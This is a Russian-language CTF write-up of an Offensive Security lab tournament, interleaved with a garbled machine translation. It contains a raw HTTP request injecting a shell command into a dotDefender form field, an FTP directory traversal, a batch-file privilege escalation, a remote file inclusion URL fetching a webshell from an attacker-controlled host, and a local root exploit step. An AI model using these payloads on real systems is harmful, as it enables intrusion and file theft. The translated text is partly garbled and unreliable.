Offensive security hacking tournament не очень много слышал про эту компанию, за исключением того что они выпускают backtrack linux, которым я не пользуюсь ;) но [info]touzoku запостил линк и я подписался ;) похоже, ожидая большой поток игроков организаторы поделили задания на 2 этапа, т.н. not much heard of this company, except that they produce backtrack linux, which I do not use;) but [info] touzoku link and post it, I subscribed;) seems to be waiting for a large flow of players organizers have divided the job into 2 stages, ie Mr. n00b filter и main phase в лабе, к которой цепляешься по vpn. n00b filter and the main phase in the Elbe, to which cling to vpn. доступ к vpn после прохождения фильтра. access vpn after passing the filter. полночи мы тупили и чувствовали себя реальными нубами в безнадежных попытках обойти WAF и выполнить SQL injection. tupili midnight we will feel real nubami in hopeless attempts to circumvent the WAF and perform SQL injection. позже стало понятно, что копаем не в том направлении и в результате вбивания кейвордов и title из error page, WAF был идентифицирован как dotDefender. later it became clear that digging in the wrong direction and as a result of driving a Cayward and title of the error page, WAF has been identified as dotDefender. вектор атаки легко обозначился и в итоге получилось что-то вроде этого: vector of attack is easily delineated, and eventually get something like this: $ cat req $ Cat req POST /dotDefender/index.cgi HTTP/1.1 POST / dotDefender / index.cgi HTTP/1.1 Host: 67.23.72.4 Host: 67.23.72.4 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.5) G User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv: 1.9.1.5) G Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept: text / html, application / xhtml + xml, application / xml; q = 0.9 ,*/*; q = 0.8 Accept-Language: en-us,en;q=0.5 Accept-Language: en-us, en; q = 0.5 Accept-Encoding: gzip,deflate Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Accept-Charset: ISO-8859-1, utf-8; q = 0.7, *; q = 0.7 Keep-Alive: 300 Keep-Alive: 300 Connection: keep-alive Connection: keep-alive Referer: https://67.23.72.4/dotDefender/index.cgi Referer: https: / / 67.23.72.4/dotDefender/index.cgi Authorization: Basic YWRtaW46cGFzc3dvcmQ= Authorization: Basic YWRtaW46cGFzc3dvcmQ = Cache-Control: max-age=0 Cache-Control: max-age = 0 Content-Type: application/x-www-form-urlencoded Content-Type: application / x-www-form-urlencoded Content-Length: 132 Content-Length: 132 sitename=dotdefeater&deletesitename=dotdefeater;find / -name n00bSecret.txt -print | xargs cat;&action=deletesite&linenum=15 sitename = dotdefeater & deletesitename = dotdefeater; find /-name n00bSecret.txt-print | xargs cat; & action = deletesite & linenum = 15 $ cat req | nc 67.23.72.4 80 $ Cat req | nc 67.23.72.4 80 дальше попадаем в лабу с двумя машинами, одна windows 7 с surgemail на борту, другая тоже как-будто бы windows. further fall in Labu with two machines, one with windows 7 surgemail on board, the other too, as if to windows. surgemail старый и для него легко находится эксплоит, но таргетов для windows 7 нет, а пытаться что-то изобразить вслепую занятие неблагодарное. surgemail old and it is easily exploit, but the target for windows 7 No, but try to portray something blindly thankless job. хотя это было бы и красивое решение. although it would have been nice solution. но мы помним, что у нас еще есть ftp юзер "devil", робкая попытка зайти под ним на rdesktop не срабатывает, зато ftp работает. but we remember that we still have ftp user "devil", a timid attempt to go under it to rdesktop does not work, but the ftp is working. учитывая какая задача была в Phase1 пробуем стандартный directory traversal и получаем список файлов в корне. Considering what the problem was in trying Phase1 standard directory traversal and get a list of files in the root. $ cd ..\..\..\ $ Cd .. \ .. \ .. \ $ dir $ Dir видим, что можем писать в папку surgemail, а сервис surgemail скорее всего работает с привилегиями системы, пытаюсь залить netcat в surgemail\scripts и запустить connect-back шелл. see that we can write to the folder surgemail, and service surgemail likely works with the privileges of the system, trying to fill netcat in surgemail \ scripts and run the connect-back shell. не срабатывает. does not work. зато срабатывает(тададам!) bat'ник. but the work (tadadam!) bat'nik. с помощью "type c:\Users\Administrator\Desktop\proof.txt" забираем флаг. through "type c: \ Users \ Administrator \ Desktop \ proof.txt" take away the flag. ну теперь то точно sql injection подумали мы, пытаясь выполнить что-нибудь в 192.168.6.66. не тут то было, поняли мы, потратив пару часов времени. Well now that's exactly sql injection we thought, trying to do something to 192.168.6.66. not here that was understood, we spent a couple hours time. но в /1/ оказался "simple text file login script"(легко гуглится по характерным именам полей ввода). but in / 1 / was "simple text file login script" (easily distinguished name of Google on the input fields). и классический remote file inclusion из него тоже никуда не делся. and the classic remote file inclusion from it, too, is still here. $ cat s $ Cat s используя URL вроде http://192.168.6.66/1/slogin_lib.inc.php?slogin_path=http://our.box/s&cmd=id получаем вебшелл. using a URL like http://192.168.6.66/1/slogin_lib.inc.php?slogin_path=http://our.box/s&cmd=id obtain vebshell. поиск недавно измененных файлов ничего не дает, но внительно посмотрев fstab видим что один из разделов у нас в reiserfs. Search recently modified files does nothing, but looked vnitelno fstab see that one of the sections in our reiserfs. где совсем недавно пофиксили баг , но trick в том, что он монтируется в режиме noauto, и для того чтобы использовать уязвимость, сначала раздел нужно примонтировать ;) монтируем, эксплуатируем ошибку, получаем рута. where most recently Fixed a bug , but trick is that it is mounted in a mode noauto, and to exploit the vulnerability, first partition must mount;) mount, or exploiting a bug, we rue. $ mount /apachedomains $ Mount / apachedomains $ cd data $ Cd data $ python reiser.py $ Python reiser.py $ cat /root/proof.txt $ Cat / root / proof.txt дорогие организторы, не хочу вас обидеть, но задачи можно было сделать повеселее, уж слишком прямолинеен алгоритм прохождения "найди сервис-пойди в багтрак-получи шелл-забери флаг". organiztory dear, I do not want to offend you, but the problem could be made more lively, too straightforward algorithm for passing "Go find your service in Bugtraq-get shell Take your flag." и в любом случае, спасибо ) ведь мы участвуем во всем этом не для того чтобы побеждать, а for run! and in any case, thank you) because we are involved in all this is not to win, but for run! ;) ;) окончательня версия будет опубликована здесь. final version will be published here.